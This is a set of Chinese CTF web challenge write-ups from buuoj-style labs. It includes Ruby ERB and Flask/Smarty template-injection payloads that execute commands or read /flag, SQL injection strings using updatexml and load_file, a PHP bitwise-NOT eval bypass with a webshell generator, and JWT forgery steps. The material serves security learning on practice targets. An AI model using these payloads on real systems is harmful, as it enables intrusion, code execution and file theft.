[SCTF2019]Flag Shop
这题考点是erb模板注入,头一次见到这样的题。试一下
打开以后只有三个按钮,挣钱、重置、买flag
然后就没了,扫目录发现robots.txt
/filebak
访问
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
首先抓包解密一下jwt
吧jkl改成1000000000000000000000000000,但是没有秘钥,从哪里搞呢?
查看源码发现,秘钥在cookie中,
名称我们可控,但是限定字符数量
遍历百度 手把手教你如何完成Ruby ERB模板注入
发现使用$对匹配的字符串进行读取
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
符号太多,防止报错url编码绕过
成功回显出cooike
之后jwt加密字符串,在buyflag中修改得到的jwt,解密回显的jwt
得到flag
这题真的太顶了,昨天刚刚接触过过jwt类型的题,但是ruby就傻了。还需要好好学习总结
[CSAWQual 2016]i_got_id
打开有有三个页面
文件上传/欢迎页/输入框,输入框fuzz无果、上传文件会直接把文件以文本格式读出
观察url:http://2a2c2513-432b-4de9-862e-51797f6606e1.node3.buuoj.cn/cgi-bin/file.pl
发现pl文件名。
之前做过一道题,(发现是同一道题,那就复习一下吧)
因为上传文件会直接输出文本猜测使用param()函数
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。
//这里文件上传一定要出现两次且第二次需包含文件名才能把flag带出来
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
注释中有?file=
试一下这几个页面,看一下源码
index:
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
这编辑器会把html转义,所以只贴php代码
change.php
<?php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; } else{ $sql = "select * from <code class="prettyprint" >user
whereuser_name
='{$user_name}' andphone
='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "updateuser
setaddress
='".$address."',old_address
='".$row['address']."' whereuser_id
=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单修改成功"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; }
delete.php和change差不多,就不放出来了
审计后发现address没有任何过滤直接存入数据库,找到点以后常规注入就可
payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
因为buuflag长不能全部读取,所以截取
[CISCN2019 华东南赛区]Web11
这题打开后是一个
全部都是有关于IP的问题, 并且还给了XFF,构造一下发现XFF可以回显,这里就是利用点了,看看怎么利用
尝试输入{{7+7}},发现计算出来了,是ssti了
因为下面给了build smarty。所以百度看一下他的ssti
smarty ssti 可以发现,
{$smarty.version}可以查看版本号,试了一下确实有回显。版本为3.1.30
{if phpinfo()}{/if}可以执行phpinfo,尝试后确实可以,那么如何读取flag文件呢?
可以发现执行了php代码,那我们能不能用这个语句读取flag'呢
尝试输入{if readfile('/flag')}{/if}
发现确实给了flag
这里有一张图记录如何判断ssti是什么?
CTF SSTI(服务器模板注入) 这个帖子记录了简单的绕过方式
[BSidesCF 2019]Pick Tac Toe
一个井字棋界面,赢了就能获得flag(赢不了)
查看源码后发现每个旗子的位置
我们点击后发现他是上传到服务器旗子位置后作出回应,我们可以不可以一次上传三个位置呢?
试一下
$.post("/move",{move:"b"}); $.post("/move",{move:"br"}); $.post("/move",{move:"bl"});
获得flag
[Zer0pts2020]Can you guess it?
打开后是一个猜数字页面,给了源码
<?php
include 'config.php';
// FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
hash_equals($secret, $guess) 比较hash是否相等,如果相同输出flag,百度以后发现这个函数没有任何漏洞,上面的正则也很难绕过。那么只能从basename函数处的$_SERVER['PHP_SELF']尝试能不能读文件了
百度后发现,如果输入
http://ha1c9on.top/php/index.php/test/foo?username=ha1c9on $_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo $_SERVER['SCRIPT_NAME'] 得到:/php/index.php $_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=ha1c9on 从该例子可以看出: 1.$_SERVER['PHP_SELF'] 则反映的是 PHP 程序本身; 2.$_SERVER['SCRIPT_NAME'] 反映的是程序文件本身(这在页面需要指向自己时非常有用); 3.$_SERVER['REQUEST_URI'] 则反映了完整 URL 地址(不包括主机名)。
那么我们现在知道,如果输入index.php/config.php,返回的即为config.php的内容。可是正则过滤了如何绕过呢,我们很容易可以想到%00截断。又因为访问source会返回源码,尝试构造index.php/config.php/%00/?source
发现报错,那么试一下%ff
成功返回flag。
[RootersCTF2019]ImgXweb
考点是JWT伪造。
打开有有注册和登录页面,fuzz一波发现不是sql注入题。注册后发现有上传,各种姿势一个webshell蚁剑连不上,抓包后发现cookie中有类似JWT的加密文字。解密后把user改为user:admin
可是jwt加密需要秘钥。找了半天也没有秘钥,扫一下目录吧!发现robots.txt。给了一个static/secretkey.txt
访问一下就是key了。加密替换cookie刷新就是flag了
[RootersCTF2019]I_ ♥ _Flask
这题不难,flask模板ssti一把梭就行,没有任何过滤。tplmap也能直接用。
难点是如何利用ssti,在哪里传入。这里用了一个工具:arjun,支持GET / POST / JSON方法
Arjun这篇文章详细介绍了如何使用。跑出来为name后,ssti传入读flag就行
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls').read()") }}{% endif %}{% endfor %}
获得flag
[GYCTF2020]EasyThinking
thinkphp6.0 session漏洞利用
参考:https://www.venustech.com.cn/article/1/11027.html
写入一句话木马后,绕过disable_function读flag即可
[极客大挑战 2019]RCE ME
打开给了源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
过滤了字母和数字,~取反url编码 ?code=(~%8F%97%8F%96%91%99%90)();
看到phpinfo中过滤了一吨函数
我们写一个webshell链接
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[cmd]))';
$d=urlencode(~$c);
echo $d;
?>
发现有disable_function,蚁剑插件可以直接绕过。读flag就可
[CISCN2019 华东南赛区]Double Secret
打开靶机,给了一行文字“Welcome To Find Secret”,访问secret目录。又给了一行文字“Tell me your secret.I will encrypt it so others can't see”,那我们传入一个数据看看吧,
随便 传入一个数据后,发现返回了一个加密数字
再试试flag.txt,报错了
发现是python2.7写的flask
且有关键处回显代码:
if(secret==None): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure") #解密 deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a Open an interactive python shell in this frame
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)
随便找一个读文件的flask注入模板cat /flag.txt即可获得flag
[GXYCTF2019]StrongestMind
打开以后是一个计算器的题,和BUGKU的一道题基本一致,脚本拿来改改直接用就行
import requests
import re
s = requests.Session()
r = s.get("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php")
searchObj = re.findall(r'\d+.[+-].\d+', r.text)
d = {
"answer": eval(searchObj[0])
}
r = s.post("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php", data=d)
for i in range(1000):
searchObj = re.findall(r'\d+.[+-].\d+', r.text)
d = {
"answer": eval(searchObj[0])
}
#print(d)
r = s.post("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php", data=d)
print(r.text)
跑一会儿就出flag